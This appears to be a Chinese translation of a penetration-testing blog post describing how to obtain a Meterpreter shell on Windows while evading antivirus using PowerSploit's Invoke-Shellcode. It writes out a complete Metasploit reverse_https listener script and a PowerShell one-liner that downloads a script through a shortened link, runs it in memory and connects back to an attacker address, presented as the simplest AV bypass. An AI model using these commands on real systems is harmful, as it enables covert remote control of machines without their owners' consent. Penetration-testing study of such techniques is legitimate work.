[译]PowerSploit

原文:https://www.pentestgeek.com/2013/09/18/invoke-shellcode/
渗透测试人员有很多方法可以获得GUI访问目标机器,例如猜测RDP, ESX 或vnc口令。然而绕开AV获得Meterpreter的最简单方法是使用PowerSploit( https://github.com/mattifestation/PowerSploit)

PowerSploit是一组有PowerShell实现的与安全相关的模块。PowerSploit早已在BT和Kali中存在了,而且被SET之类的工具使用,所以你很有可能使用过它。它包含了很多Windows环境中及其有用的后渗透功能(使用手册 https://github.com/mattifestation/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1)。
[i]
use multi/handler
set payload windows/meterpreter/reverse_https
set LHOST 192.168.59.128
set LPORT 443
set ExitOnSession false
set AutoRunScript post/windows/manage/smart_migrate
exploit -j
[/i]
然后使用/opt/metasploit/app/msfconsole -r listener.rc
现在我们需要执行shell。首先使用bitly( google短链接生成)来缩短github中的link。
[译]PowerSploit_第1张图片
然后需要使用两条PowerShell命令来获得Meterpreter shell。第一条命令会创建一个.Net WebClient Object用来下载工具,并把它传到Invoke-Expression来将工具映射到内存。
IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/14bZZ0c’)
现在我们需要使用于监听者相关的参数来调用Invoke-Shellcode
Invoke-Shellcode –Payload windows/meterpreter/reverse_https –Lhost 192.168.0.15 –Lport 443 –Force
我们可以合并成一条命令:
IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/14bZZ0c’); Invoke-Shellcode –Payload windows/meterpreter/reverse_https –Lhost 172.0.1.200 –Lport 443 –Force


然后我们就可以关掉PowerShell因为smart_migrate Meterpreter脚本已经注入到一个新的进程中了
[译]PowerSploit_第2张图片

这是我所见过的绕过AV的最简单方法。

你可能感兴趣的:(it)